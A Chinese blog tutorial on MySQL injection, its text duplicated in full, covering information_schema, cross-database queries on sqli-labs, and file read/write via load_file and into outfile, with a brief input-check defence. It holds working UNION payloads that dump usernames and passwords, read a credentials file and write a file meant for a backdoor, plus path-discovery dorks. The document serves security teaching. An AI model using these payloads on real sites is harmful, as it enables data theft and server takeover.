十三.WEB 漏洞-MYSQL 注入
2022年 04月 07 日

BIGFISH

前言:

MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的
攻击手法,有的能直接进行 getshell 操作。其中也会遇到很多阻碍,相关
防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需
要了解其中的手法和原理,这样才是一个合格的安全工作者。

 

image-20210807205616034

limt使用

使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据

SELECT * FROM table LIMIT [offset,] rows | rows OFFSET offset

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。

LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。

如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

初始记录行的偏移量是 0(而不是 1):

为了与 PostgreSQL 兼容,MySQL 也支持句法: LIMIT # OFFSET #。

mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15,从5+1开始算

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.从95+1开始算

//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。

information_schema数据库表

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。
是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。 KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。
名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表。

高权限注入及低权限注入

root在MYSQL数据库中属于最高权限,除root之外其他都简称为为普通用户权限

跨库查询介绍

跨库是指由于权限高,root用户不止能够操作自己的数据库,还可以操作普通用户的数据库的行为

举例:

数据库A = 网站A = 数据库用户A 普通用户

数据库B = 网站B = 数据库用户B 普通用户

数据库C = 网站C = 数据库用户C root用户

这里A、B只能操作自己的数据库,而C就可以除了能够操作自己的数据库,还可以操作A、B的数据库(跨库)

在安全测试的过程中,我们可以运用这种思想,通过获取最高权限后对其他关联数据库进行操作

举例:在同个目录下存在网站A和网站B(即在同一个服务器),对网站A进行安全测试没有发现漏洞,网站B存在SQL注入漏洞,我们就可以获取到网站B的数据库内容,如果网站B用户为root用户,我们就间接拿到网站A对应的数据库内容。

跨库查询及应用思路(查询是在sqlilabs网站进行

information_schema 表特性,记录库名,表名,列名对应表

获取所有数据库名:

http://ctf.tmzo.club/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

获取指定 qqyw 数据库名下的表名信息:

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 frominformation_schema.tables where table_schema=‘qqyw’

注意:‘qqyw’不行时,用%27qqyw%27

获取指定 qqyw 下的表名 users 下的列名信息:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=%27users%27 and table_schema=%27qqyw%27(加上and后面的判断语句是为了保证查出来的字段名是对应表的,多个数据库命名为admin的表可能有多个)

获取指定 qqyw 下的 usersu 数据

union select 1,username,password from qqyw.admin(这是sqlilabs网站进行查询,所在的数据库并不是 qqyw,所以我们需要通过qqyw.users来指定)

文件读写操作(详细介绍

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入、分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。

MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。

load_file():读取函数

into outfile 或 into dumpfile :导出函数

C:/phpstudy_pro/Extensions/php/php5.6.9nts/php.inc

读取文件条件

<?php
header("Content-Type: text/html;charset=utf-8");//为了让页面不出现乱码
//当magic_quotes_gpc=On的时候,get_magic_quotes_gpc函数的返回值为1
//当magic_quotes_gpc=Off的时候,get_magic_quotes_gpc函数的返回值为0
if (get_magic_quotes_gpc())
{
      echo 'magic_quotes_gpc 开启';
}
else
{
      echo 'magic_quotes_gpc 未开启';
}

?>

路径获取常见方法

  • 报错显示:网站报错的时候会泄漏出自己的路径(扫描工具/手动探测)
  • 百度搜索:inurl:edu.cn warning (格式相同,改变inurl内容即可)也可以查到其他网站报错显示
  • 遗留文件:调试软件或者平台遗留下来的文件,经典的就是phpinfo.php(扫描工具可以扫到)
  • 漏洞报错:知道网站是用什么cms或者框架进行搭建的,用搜索引擎去找到对应的爆路径方式,比如phpcms 爆路径
  • 平台配置文件:结合前面的读取文件操作来读取搭建网站平台的配置文件,通过默认路径去尝试找到突破口,但如果更改了默认安装路径,也是很难进行(不怎么常用
  • 爆破:什么信息都没办法获取到,我们运用一些常见固定的可能安装位置生成字典,对目标网站进行爆破
    例如:
    windows:d:/www/root/xiaodi8/
    linux:/var/www/xiaodi8

读取文件

注意点:

  1. 文件路径不能用" \ " ,但是可以用" \\ " 或 "/ "
  2. 必须具备前述条件,
  3. ’ %27 ' 全部代表 ’
  4. " --+ " 是为了注释 LIMT O,1

?id=-1 union select 1,load_file(%27C:\\phpstudy_pro\\WWW\\ctf.tmzo.club\\sql-connections\\db-creds.inc%27),3

写入文件

into outfile函数或 into dumpfile :导出函数

此处 ‘x' 可以换成后门语言。

?id=-1 union select 1,'x',3 into outfile %27C:\\phpstudy_pro\\WWW\\ctf.tmzo.club\\xxx.txt%27 --+

防护办法

if (is_int($id))
{
     $sql="SELECT* FROM users WHERE id=$id LIMIT O,1";echo $sql;
     $result=mysql_query($sql);
}
else
{
     echo 'chi xi gua';
}

 

十三.WEB 漏洞-MYSQL 注入

前言:

MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的
攻击手法,有的能直接进行 getshell 操作。其中也会遇到很多阻碍,相关
防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需
要了解其中的手法和原理,这样才是一个合格的安全工作者。

 

image-20210807205616034

limt使用

使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据

SELECT * FROM table LIMIT [offset,] rows | rows OFFSET offset

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。

LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。

如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

初始记录行的偏移量是 0(而不是 1):

为了与 PostgreSQL 兼容,MySQL 也支持句法: LIMIT # OFFSET #。

mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15,从5+1开始算

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.从95+1开始算

//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。

information_schema数据库表

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。
是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。 KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。
名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表。

高权限注入及低权限注入

root在MYSQL数据库中属于最高权限,除root之外其他都简称为为普通用户权限

跨库查询介绍

跨库是指由于权限高,root用户不止能够操作自己的数据库,还可以操作普通用户的数据库的行为

举例:

数据库A = 网站A = 数据库用户A 普通用户

数据库B = 网站B = 数据库用户B 普通用户

数据库C = 网站C = 数据库用户C root用户

这里A、B只能操作自己的数据库,而C就可以除了能够操作自己的数据库,还可以操作A、B的数据库(跨库)

在安全测试的过程中,我们可以运用这种思想,通过获取最高权限后对其他关联数据库进行操作

举例:在同个目录下存在网站A和网站B(即在同一个服务器),对网站A进行安全测试没有发现漏洞,网站B存在SQL注入漏洞,我们就可以获取到网站B的数据库内容,如果网站B用户为root用户,我们就间接拿到网站A对应的数据库内容。

跨库查询及应用思路(查询是在sqlilabs网站进行

information_schema 表特性,记录库名,表名,列名对应表

获取所有数据库名:

http://ctf.tmzo.club/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

获取指定 qqyw 数据库名下的表名信息:

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 frominformation_schema.tables where table_schema=‘qqyw’

注意:‘qqyw’不行时,用%27qqyw%27

获取指定 qqyw 下的表名 users 下的列名信息:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=%27users%27 and table_schema=%27qqyw%27(加上and后面的判断语句是为了保证查出来的字段名是对应表的,多个数据库命名为admin的表可能有多个)

获取指定 qqyw 下的 usersu 数据

union select 1,username,password from qqyw.admin(这是sqlilabs网站进行查询,所在的数据库并不是 qqyw,所以我们需要通过qqyw.users来指定)

文件读写操作(详细介绍

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入、分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。

MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。

load_file():读取函数

into outfile 或 into dumpfile :导出函数

C:/phpstudy_pro/Extensions/php/php5.6.9nts/php.inc

读取文件条件

<?php
header("Content-Type: text/html;charset=utf-8");//为了让页面不出现乱码
//当magic_quotes_gpc=On的时候,get_magic_quotes_gpc函数的返回值为1
//当magic_quotes_gpc=Off的时候,get_magic_quotes_gpc函数的返回值为0
if (get_magic_quotes_gpc())
{
      echo 'magic_quotes_gpc 开启';
}
else
{
      echo 'magic_quotes_gpc 未开启';
}

?>

路径获取常见方法

  • 报错显示:网站报错的时候会泄漏出自己的路径(扫描工具/手动探测)
  • 百度搜索:inurl:edu.cn warning (格式相同,改变inurl内容即可)也可以查到其他网站报错显示
  • 遗留文件:调试软件或者平台遗留下来的文件,经典的就是phpinfo.php(扫描工具可以扫到)
  • 漏洞报错:知道网站是用什么cms或者框架进行搭建的,用搜索引擎去找到对应的爆路径方式,比如phpcms 爆路径
  • 平台配置文件:结合前面的读取文件操作来读取搭建网站平台的配置文件,通过默认路径去尝试找到突破口,但如果更改了默认安装路径,也是很难进行(不怎么常用
  • 爆破:什么信息都没办法获取到,我们运用一些常见固定的可能安装位置生成字典,对目标网站进行爆破
    例如:
    windows:d:/www/root/xiaodi8/
    linux:/var/www/xiaodi8

读取文件

注意点:

  1. 文件路径不能用" \ " ,但是可以用" \\ " 或 "/ "
  2. 必须具备前述条件,
  3. ’ %27 ' 全部代表 ’
  4. " --+ " 是为了注释 LIMT O,1

?id=-1 union select 1,load_file(%27C:\\phpstudy_pro\\WWW\\ctf.tmzo.club\\sql-connections\\db-creds.inc%27),3

写入文件

into outfile函数或 into dumpfile :导出函数

此处 ‘x' 可以换成后门语言。

?id=-1 union select 1,'x',3 into outfile %27C:\\phpstudy_pro\\WWW\\ctf.tmzo.club\\xxx.txt%27 --+

防护办法

if (is_int($id))
{
     $sql="SELECT* FROM users WHERE id=$id LIMIT O,1";echo $sql;
     $result=mysql_query($sql);
}
else
{
     echo 'chi xi gua';
}

 

赞 (0)

猜您想看

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论